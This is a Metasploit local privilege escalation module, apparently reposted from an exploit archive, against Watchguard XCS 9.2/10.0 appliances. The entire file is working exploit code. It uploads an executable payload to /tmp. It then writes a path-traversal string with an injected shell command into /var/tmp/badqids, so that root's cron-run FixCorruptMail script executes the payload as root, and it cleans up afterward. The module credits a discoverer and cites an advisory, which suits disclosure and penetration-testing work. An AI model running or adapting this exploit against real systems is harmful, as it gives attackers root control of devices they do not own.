Watchguard XCS FixCorruptMail Local Privilege Escalation

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Local  
# It needs 3 minutes wait time  
# WfsDelay set to 180, so it should be a Manual exploit,  
# to avoid it being included in automations  
Rank = ManualRanking  
  
include Msf::Exploit::EXE  
include Msf::Post::File  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Watchguard XCS FixCorruptMail Local Privilege Escalation',  
'Description' => %q{  
This module exploits a vulnerability in the Watchguard XCS 'FixCorruptMail' script called  
by root's crontab which can be exploited to run a command as root within 3 minutes.  
},  
'Author' =>  
[  
'Daniel Jensen <daniel.jensen[at]security-assessment.com>' # discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']  
],  
'Platform' => 'bsd',  
'Arch' => ARCH_X86_64,  
'SessionTypes' => ['shell'],  
'Privileged' => true,  
'Targets' =>  
[  
[ 'Watchguard XCS 9.2/10.0', { }]  
],  
'DefaultOptions' => { 'WfsDelay' => 180 },  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 29 2015'  
))  
end  
  
def setup  
@pl = generate_payload_exe  
if @pl.nil?  
fail_with(Failure::BadConfig, 'Please select a native bsd payload')  
end  
  
super  
end  
  
def check  
#Basic check to see if the device is a Watchguard XCS  
res = cmd_exec('uname -a')  
return Exploit::CheckCode::Detected if res && res.include?('[email protected]')  
  
Exploit::CheckCode::Safe  
end  
  
def upload_payload  
fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}"  
  
write_file(fname, @pl)  
return nil unless file_exist?(fname)  
cmd_exec("chmod +x #{fname}")  
  
fname  
end  
  
def exploit  
print_warning('Rooting can take up to 3 minutes.')  
  
#Generate and upload the payload  
filename = upload_payload  
fail_with(Failure::NotFound, 'Payload failed to upload') if filename.nil?  
print_status("Payload #{filename} uploaded.")  
  
#Sets up empty dummy file needed for privesc  
dummy_filename = "/tmp/#{Rex::Text.rand_text_alpha(5)}"  
cmd_exec("touch #{dummy_filename}")  
vprint_status('Added dummy file')  
  
#Put the shell injection line into badqids  
#setup_privesc = "echo \"../../../../../..#{dummy_filename};#{filename}\" > /var/tmp/badqids"  
badqids = write_file('/var/tmp/badqids', "../../../../../..#{dummy_filename};#{filename}")  
fail_with(Failure::NotFound, 'Failed to create badqids file to exploit crontab') if badqids.nil?  
print_status('Badqids created, waiting for vulnerable script to be called by crontab...')  
#cmd_exec(setup_privesc)  
  
#Cleanup the files we used  
register_file_for_cleanup('/var/tmp/badqids')  
register_file_for_cleanup(dummy_filename)  
register_file_for_cleanup(filename)  
end  
  
end  
`